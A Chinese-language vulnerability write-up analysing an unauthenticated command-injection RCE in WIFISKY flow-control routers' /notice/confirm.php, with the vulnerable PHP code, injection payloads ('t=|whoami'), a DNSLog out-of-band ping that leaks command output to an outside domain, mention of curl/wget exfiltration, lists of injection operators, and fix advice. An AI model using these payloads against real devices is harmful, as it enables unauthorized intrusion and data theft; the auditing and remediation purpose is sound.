0day之某路由器前台RCE审计
字数 1354 2025-08-18 17:33:32
WIFISKY 7层流控路由器前台RCE漏洞审计分析
一、漏洞概述
本文详细分析WIFISKY 7层流控路由器中存在的前台命令执行漏洞(RCE)。该漏洞位于/notice/confirm.php文件中,由于未对用户输入进行有效过滤,导致攻击者可以在未授权的情况下执行任意系统命令。
二、漏洞原理
1. 漏洞代码分析
漏洞存在于/notice/confirm.php文件中,关键代码如下:
<?
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_GET['t'];
$file = @popen("/usr/hls/bin/notice s $ip $type", "r");
if ($file) pclose($file);
exit;
?>
2. 漏洞成因
- 未授权访问:该文件未包含鉴权代码,允许未认证用户访问
- 危险函数使用:使用了
popen()函数执行系统命令 - 输入未过滤:
$_GET['t']参数直接拼接到命令中,未进行任何过滤处理 - 命令注入:攻击者可以通过管道符
|注入额外命令
三、漏洞利用方法
1. 利用管道符进行命令注入
Linux管道符|可以将多个命令连接起来,前一个命令的输出作为后一个命令的输入。利用这一点可以注入额外命令:
/notice/confirm.php?t=|whoami
2. 无回显命令执行验证
当命令执行无回显时,可以通过DNS外带技术验证:
- 使用DNSLog平台获取临时域名(如:xxx.dnslog.cn)
- 构造payload执行ping命令:
/notice/confirm.php?t=|ping `whoami`.xxx.dnslog.cn
- 如果存在漏洞,DNSLog平台会收到解析请求,显示执行的命令结果
四、审计方法论
1. 审计目标筛选原则
- 只审计前台功能,不审计后台
- 只关注可能导致RCE的漏洞
- 优先审计无鉴权的文件
2. PHP危险函数列表
审计时应重点检查以下可能导致命令执行的函数:
eval()assert()call_user_func()create_function()array_map()call_user_func_array()system()passthru()exec()pcntl_exec()shell_exec()popen()proc_open()
3. 命令执行漏洞产生条件
- 使用了上述危险函数
- 函数参数用户可控
- 缺乏有效的输入过滤
- 接口权限校验缺失
五、漏洞修复建议
- 输入验证:对
$_GET['t']参数进行严格过滤,只允许预期的字符 - 使用安全函数:使用
escapeshellarg()或escapeshellcmd()处理命令参数 - 权限控制:添加鉴权机制,确保只有授权用户能访问
- 最小权限原则:Web服务器运行用户应具有最小必要权限
- 使用替代方案:考虑使用更安全的PHP函数替代直接执行系统命令
六、扩展知识
1. Linux管道符详解
管道符|是Linux中强大的命令操作符,特点包括:
- 连接多个命令
- 前一个命令的输出作为后一个命令的输入
- 只显示最后一个命令的输出
- 常用于命令注入攻击
2. 无回显漏洞验证技术
- DNS外带:通过DNS请求带出命令执行结果
- HTTP请求:使用curl/wget将结果发送到攻击者服务器
- 时间延迟:通过
sleep等命令造成可观测的时间延迟 - 文件写入:将结果写入web目录可访问的文件中
3. 其他常见命令注入符号
除了管道符|外,还需注意:
;:顺序执行多个命令&&:前一个命令成功则执行下一个||:前一个命令失败则执行下一个>、>>:重定向输出$():命令替换(等同于反引号)